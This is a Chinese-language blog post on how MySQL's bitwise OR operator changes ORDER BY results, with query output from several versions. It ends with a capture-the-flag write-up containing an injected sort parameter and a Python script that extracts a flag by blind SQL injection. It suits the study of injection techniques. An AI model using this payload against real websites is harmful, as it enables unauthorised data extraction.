当order by遇上 “ | ”

本文作者:reklawetihwx
来源:90WiKi

说明

测试的数据库版本是5.5.53。测试的表的结构和数据如下:

CREATE TABLE users
(
  id       INT AUTO_INCREMENT,
  username VARCHAR(255) NULL,
  password VARCHAR(255) NULL,
  nick     INT          NULL,
  CONSTRAINT users_id_uindex
  UNIQUE (id)
);
INSERT INTO test.users (username, password, nick) VALUES ('admin', '195f19b835efe9f0b7b4e276ef1a8515', null);
INSERT INTO test.users (username, password, nick) VALUES ('tom', '34b7da764b21d298ef307d04d8152dc5', null);
INSERT INTO test.users (username, password, nick) VALUES ('jerry', '30035607ee5bb378c71ab434a6d05410', null);
INSERT INTO test.users (username, password, nick) VALUES ('tomcat', '1b359d8753858b55befa0441067aaed3', null);
INSERT INTO test.users (username, password, nick) VALUES ('bob', '9f9d51bc70ef21ca5c14f307980a29d8', null);
INSERT INTO test.users (username, password, nick) VALUES ('Adele', '1679091c5a880faf6fb5e6087eb1b2dc', null);
INSERT INTO test.users (username, password, nick) VALUES ('alex', '534b44a19bf18d20b71ecc4eb77c572f', null);
INSERT INTO test.users (username, password, nick) VALUES ('a', 'aaaa', null);
INSERT INTO test.users (username, password, nick) VALUES ('b', 'bbbb', null);
INSERT INTO test.users (username, password, nick) VALUES ('c', 'cccc', null);

|的含义

||都用得很多,与or的含义相同。那么|的含义又是什么?

mysql> select 2|1,2|2,2|3,2|4,2|5,2|6,2|7,2|8,2|9,2|10;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
| 2|1 | 2|2 | 2|3 | 2|4 | 2|5 | 2|6 | 2|7 | 2|8 | 2|9 | 2|10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
|   3 |   2 |   3 |   6 |   7 |   6 |   7 |  10 |  11 |   10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
1 row in set (0.00 sec)

为什么会出现这样的结果,经过分析发现这就是二进制或运算之后得到的结果。

运算:

            2|1   2|2  2|3    2|4   2|5   2|6   2|7   2|8   2|9   2|10
            +-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
二进制或:    10   | 10  | 10  |  10 |  10 |  10 |  10 |  10 |  10 |  10
             01   | 10  | 11  | 100 | 101 | 110 | 111 |1000 |1001 |1010 
            +-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
二进制结果:  11   | 10  | 11  | 110 | 111 | 110 | 111 |1010 |1011 | 1010
            +-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
十进制:      3      2     3     6      7    6      7    10     11      10

order by 和 |

搞清楚了|含义之后,再看看order by与|的用法。

order by 排序

mysql> select * from users order by id;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)
mysql> select * from users order by id|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
| 10 | c        | cccc                             | NULL |
|  9 | b        | bbbb                             | NULL |
+----+----------+----------------------------------+------+

可以看到使用id|2之后部分顺序发生了改变。那么这个改变的依据又是什么呢?

根据上一节的|的含义最终得到的结果,我们猜测可能是mysql查询到结果之后,取出其中的id字段的结果与2进行或操作(或操作得到的结果在上一节已经说明),最后按照或操作之后的结果升序排列。

如果我们使用id|7或者是id|15这样的操作呢,此时得到的结果都是111或者是1111。

mysql> select * from users order by id|7;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)
mysql> select * from users order by id|15;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

可以看到顺序没有变化。

那么猜测,如果当或操作之后的结果是相同时,就保持之前的排序不变。在上面的例子中8|2和10|2的结果都是10,按照之前的排序,所以8在10前面。

SQL注入?

这种特性能够用在SQL注入中吗?

看一道这样的题目

http://chall.tasteless.eu/level1/index.php?dir=asc

有10条结果是顺序显示的。

如果是

http://chall.tasteless.eu/level1/index.php?dir=desc

就变成了倒序。

如果是这样

http://chall.tasteless.eu/level1/index.php?dir=|2

显示的顺序是2 1 3 4 6 5 7 8 10 9

那么说明可能后台的SQL语句的写法是select * from contents order by id $dir

经过测试,题目过滤了基于报错的盲注和基于时间的盲注。那么就可以利用页面返回的这种顺序关系作为判断的依据了。

import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
    for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
        if(letter=='?'):
            exit()
        result_string_tem=result_string+letter
        url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
        print(url)
        content=requests.get(url).content
        if(content!=ordered_content):
            result_string=result_string_tem
            print(result_string)
            break
        continue当然这道题目除了这种方法之外还有其他的解法。

MISC

以上的测试在5.5.53、5.6以及5.7上面都没有什么问题。

但是当时和Thinking师傅讨论的时候,他的版本是5.5.47,就会出现如下的情况:

mysql> select * from users order by id|7;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)
mysql> select * from users order by id|15;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  9 | b        | bbbb                             | NULL |
|  8 | a        | aaaa                             | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

在5.5.47上面表现出来的行为与5.5.53上面不一样,所以之前的结论在5.5.47上面不成立。(关于这个现象,希望有师傅可以解答一下)

虽然在不同MySQL版本中或操作之后的排序行为不一样,但是在SQL注入过程中,我们需要利用排序结果不同即可。

其他

上面的讨论中id的结果都是数字,那么如果order by 字符|2这种又是什么结果呢?

mysql> select 'a'|1,'a'|2,'a'|3,'a'|4,'a'|5,'a'|6,'a'|7,'a'|8,'a'|9,'a'|10;
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
| 'a'|1 | 'a'|2 | 'a'|3 | 'a'|4 | 'a'|5 | 'a'|6 | 'a'|7 | 'a'|8 | 'a'|9 | 'a'|10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
|     1 |     2 |     3 |     4 |     5 |     6 |     7 |     8 |     9 |     10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
1 row in set, 10 warnings (0.00 sec)
mysql> select 'Aa'|1,'Aa'|2,'Aa'|3,'Aa'|4,'Aa'|5,'Aa'|6,'Aa'|7,'Aa'|8,'Aa'|9,'Aa'|10;
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
| 'Aa'|1 | 'Aa'|2 | 'Aa'|3 | 'Aa'|4 | 'Aa'|5 | 'Aa'|6 | 'Aa'|7 | 'Aa'|8 | 'Aa'|9 | 'Aa'|10 |
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
|      1 |      2 |      3 |      4 |      5 |      6 |      7 |      8 |      9 |      10 |
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
1 row in set, 10 warnings (0.00 sec)

可以发现并没有什么变化。

如果进一步分析:

mysql> select 'a2A'|1,'a2A'|2,'a2A'|3,'a2A'|4,'a2A'|5,'a2A'|6,'a2A'|7,'a2A'|8,'a2A'|9,'a2A'|10;
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
| 'a2A'|1 | 'a2A'|2 | 'a2A'|3 | 'a2A'|4 | 'a2A'|5 | 'a2A'|6 | 'a2A'|7 | 'a2A'|8 | 'a2A'|9 | 'a2A'|10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
|       1 |       2 |       3 |       4 |       5 |       6 |       7 |       8 |       9 |       10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
1 row in set, 10 warnings (0.00 sec)
mysql> select '2Aa'|1,'2Aa'|2,'2Aa'|3,'2Aa'|4,'2Aa'|5,'2Aa'|6,'2Aa'|7,'2Aa'|8,'2Aa'|9,'2Aa'|10;
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
| '2Aa'|1 | '2Aa'|2 | '2Aa'|3 | '2Aa'|4 | '2Aa'|5 | '2Aa'|6 | '2Aa'|7 | '2Aa'|8 | '2Aa'|9 | '2Aa'|10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
|       3 |       2 |       3 |       6 |       7 |       6 |       7 |      10 |      11 |       10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
1 row in set, 10 warnings (0.00 sec)
mysql> select '2'|1,'2'|2,'2'|3,'2'|4,'2'|5,'2'|6,'2'|7,'2'|8,'2'|9,'2'|10;
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
| '2'|1 | '2'|2 | '2'|3 | '2'|4 | '2'|5 | '2'|6 | '2'|7 | '2'|8 | '2'|9 | '2'|10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
|     3 |     2 |     3 |     6 |     7 |     6 |     7 |    10 |    11 |     10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
1 row in set (0.00 sec)
mysql> select 2|1,2|2,2|3,2|4,2|5,2|6,2|7,2|8,2|9,2|10;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
| 2|1 | 2|2 | 2|3 | 2|4 | 2|5 | 2|6 | 2|7 | 2|8 | 2|9 | 2|10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
|   3 |   2 |   3 |   6 |   7 |   6 |   7 |  10 |  11 |   10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
1 row in set (0.00 sec)

说明在字符|数字的操作中,会将字符转换为数字。

转换的方法就是类似^\d.这种方式匹配,如果无法匹配则返回0。

最后我们使用users表来进行实验:

mysql> SELECT * from users order by username|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set, 10 warnings (0.00 sec)

username|2得到的结果都是2,所以就按照之前的顺序排列。

但是在mysql5.5.47上面依旧出现了比较迷的情况:

mysql> SELECT * from users order by username|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  9 | b        | bbbb                             | NULL |
|  8 | a        | aaaa                             | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set, 10 warnings (0.00 sec)

总结

在使用order by id|2这种方式排序时,首先会mysql会取得所有的结果,然后id分别与2进行或运算,按照运算得到的结果升序排列。

如果是order by username|2这种方式,首先会mysql会取得所有的结果,然后username分别与2进行或运算,运算过程中会将username转换成数字进行运算,最后按照运算得到的结果升序排列

以上的结论只对5.5.53之后的版本适用。

以上。

参考

【技术分享】SQL注入的一些技巧分享

1 Like